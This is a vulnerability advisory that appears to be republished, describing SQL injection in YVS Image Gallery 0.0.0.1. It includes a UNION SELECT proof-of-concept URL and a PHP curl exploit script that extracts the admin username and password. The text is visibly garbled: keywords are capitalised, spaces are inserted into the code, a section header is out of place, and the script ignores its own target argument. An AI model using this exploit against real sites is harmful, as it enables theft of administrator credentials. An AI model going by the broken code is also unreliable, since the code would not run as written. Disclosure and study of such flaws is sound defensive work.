Application: YVS Image Gallery
Affected Version: 0.0.0.1
Developer Website: http://yvs.vacau.com/gallery.html
Test Platform: Windows, Linux, and Unix
Defect type: SQL INJECTIONS
Exploitation: Remote
Author: Corrado Liotta Aka CorryL www.2cto.com corryl80 [at] gmail [dot] com ~
...: [Overview]:...
This is a small database driven gallery created to be implemented
Within your existing site.
The coding is reasonably straight forward and can be easily moved
Your existing development
By anyone with basic understanding of PHP.
Only a first attempt at the system has a long way to go,
But it provides you with all the necessary tools to run your own
Picture gallery,
Such as uploading of multiple images and creation of thumbnails.
The gallery is distributed as free-ware but if you decide to use it in
Any business or just decide that it's worth it,
Any donations will be greatly appreciated. details will be made available soon.
...: [Defect vulnerability]:...
Exploiting this bug a remote attaker is able 'to go up again to user
Name and admin password
...: [Test proof]:...
Http://www.bkjia.com/image_gallery/view_album.php? Album_id =-1% 20 UNION % 20% 20 SELECT % 20 username % 20 FROM % 20 user
...: [Li Yuanhong]:...
#! /Usr/bin/php-f
<? Php
#
# View_album.php curl exploit
#
// Created by Corrado Liotta Aka CorryL
// For educational only
// Use php exploit. php 127.0.0.1 username for admin username o
Password for admin password
$ Target = $ argv [1];
$ Info = $ argv [2];
$ Ch = curl_init ();
Curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, 1 );
Curl_setopt ($ ch, CURLOPT_URL,
"Http: // www.2cto.com/image_gallery/view_album.php? Album_id =-1% 20 UNION % 20% 20 SELECT % 20 $ info % 20 FROM % 20 user ");
Curl_setopt ($ ch, CURLOPT_HTTPGET, 1 );
Curl_setopt ($ ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE
5.01; Windows NT 5.0 )");
Curl_setopt ($ ch, CURLOPT_TIMEOUT, 3 );
Curl_setopt ($ ch, CURLOPT_LOW_SPEED_LIMIT, 3 );
Curl_setopt ($ ch, CURLOPT_LOW_SPEED_TIME, 3 );
Curl_setopt ($ ch, CURLOPT_COOKIEJAR, "/tmp/cookie _ $ target ");
$ Buf = curl_exec ($ ch );
Curl_close ($ ch );
Unset ($ ch );
Echo $ buf;
?>
...: [Disclousure Timeline]: